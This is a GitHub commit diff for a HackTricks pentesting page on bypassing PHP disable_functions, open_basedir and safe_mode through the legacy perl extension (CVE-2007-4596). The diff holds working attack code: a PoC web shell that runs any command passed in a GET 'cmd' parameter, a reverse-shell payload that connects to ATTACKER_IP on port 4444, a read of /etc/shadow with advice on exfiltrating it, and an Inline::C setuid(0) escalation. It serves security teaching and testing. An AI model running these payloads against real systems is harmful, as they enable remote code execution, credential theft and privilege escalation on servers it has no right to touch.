Skip to content

Commit a743670

Browse files
authored
Merge pull request #1623 from HackTricks-wiki/research_update_src_network-services-pentesting_pentesting-web_php-tricks-esp_php-useful-functions-disable_functions-open_basedir-bypass_disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit_20251201_083232
Research Update Enhanced src/network-services-pentesting/pen...
2 parents ab9db4b + 670101b commit a743670

File tree

1 file changed

+78
-15
lines changed

1 file changed

+78
-15
lines changed

src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md

Lines changed: 78 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -2,22 +2,29 @@
22

33
{{#include ../../../../banners/hacktricks-training.md}}
44

5+
## Background
56

6-
From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
7+
The issue tracked as **CVE-2007-4596** comes from the legacy `perl` PHP extension, which embeds a full Perl interpreter without honoring PHP's `safe_mode`, `disable_functions`, or `open_basedir` controls. Any PHP worker that loads `extension=perl.so` gains unrestricted Perl `eval`, so command execution remains trivial even when all classic PHP process-spawning primitives are blocked. Although `safe_mode` disappeared in PHP 5.4, many outdated shared-hosting stacks and vulnerable labs still ship it, so this bypass is still valuable when you land on legacy control panels.
78

8-
```php
9-
<?php
9+
## Building a Testable Environment in 2025
10+
11+
* The last publicly shipped build (`perl-1.0.1`, January 2013) targets PHP ≥5.0. Fetch it from PECL, compile it for the exact PHP branch you plan to attack, and load it globally (`php.ini`) or via `dl()` (if permitted).
12+
* Quick Debian-based lab recipe:
13+
```bash
14+
sudo apt install php5.6 php5.6-dev php-pear build-essential
15+
sudo pecl install perl-1.0.1
16+
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
17+
sudo phpenmod perl && sudo systemctl restart apache2
18+
```
19+
* During exploitation confirm availability with `var_dump(extension_loaded('perl'));` or `print_r(get_loaded_extensions());`. If absent, search for `perl.so` or abuse writable `php.ini`/`.user.ini` entries to force-load it.
20+
* Because the interpreter lives inside the PHP worker, no external binaries are needed—network egress filters or `proc_open` blacklists do not matter.
21+
22+
## Original PoC (NetJackal)
1023

11-
#########################################################
12-
##----------------------------------------------------###
13-
##----PHP Perl Extension Safe_mode Bypass Exploit-----###
14-
##----------------------------------------------------###
15-
##-Author:--NetJackal---------------------------------###
16-
##-Email:---nima_501[at]yahoo[dot]com-----------------###
17-
##-Website:-http://netjackal.by.ru--------------------###
18-
##----------------------------------------------------###
19-
#########################################################
24+
From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/), still handy to confirm the extension responds to `eval`:
2025

26+
```php
27+
<?php
2128
if(!extension_loaded('perl'))die('perl extension is not loaded');
2229
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
2330
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
@@ -26,12 +33,68 @@ echo "<textarea rows='25' cols='75'>";
2633
$perl->eval("system('".$_GET['cmd']."')");
2734
echo "&lt;/textarea&gt;";
2835
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
29-
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>"
30-
36+
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
3137
?>
3238
```
3339

34-
{{#include ../../../../banners/hacktricks-training.md}}
40+
## Modern Payload Enhancements
41+
42+
### 1. Full TTY over TCP
43+
44+
The embedded interpreter can load `IO::Socket` even if `/usr/bin/perl` is blocked:
45+
46+
```php
47+
$perl = new perl();
48+
$payload = <<<'PL'
49+
use IO::Socket::INET;
50+
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
51+
open STDIN, '<&', $c;
52+
open STDOUT, '>&', $c;
53+
open STDERR, '>&', $c;
54+
exec('/bin/sh -i');
55+
PL;
56+
$perl->eval($payload);
57+
```
58+
59+
### 2. File-System Escape Even with `open_basedir`
60+
61+
Perl ignores PHP’s `open_basedir`, so you can read arbitrary files:
3562

63+
```php
64+
$perl = new perl();
65+
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');
66+
```
67+
68+
Pipe the output through `IO::Socket::INET` or `Net::HTTP` to exfiltrate data without touching PHP-managed descriptors.
69+
70+
### 3. Inline Compilation for Privilege Escalation
71+
72+
If `Inline::C` exists system-wide, compile helpers inside the request without relying on PHP’s `ffi` or `pcntl`:
73+
74+
```php
75+
$perl = new perl();
76+
$perl->eval(<<<'PL'
77+
use Inline C => 'DATA';
78+
print escalate();
79+
__DATA__
80+
__C__
81+
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
82+
PL
83+
);
84+
```
3685

86+
### 4. Living-off-the-Land Enumeration
3787

88+
Treat Perl as a LOLBAS toolkit—e.g., dump MySQL DSNs even if `mysqli` is missing:
89+
90+
```php
91+
$perl = new perl();
92+
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');
93+
```
94+
95+
## References
96+
97+
- [CVE-2007-4596 summary and timeline](https://www.cvedetails.com/cve/CVE-2007-4596/)
98+
- [PECL perl extension package information](https://pecl.php.net/package/perl)
99+
100+
{{#include ../../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)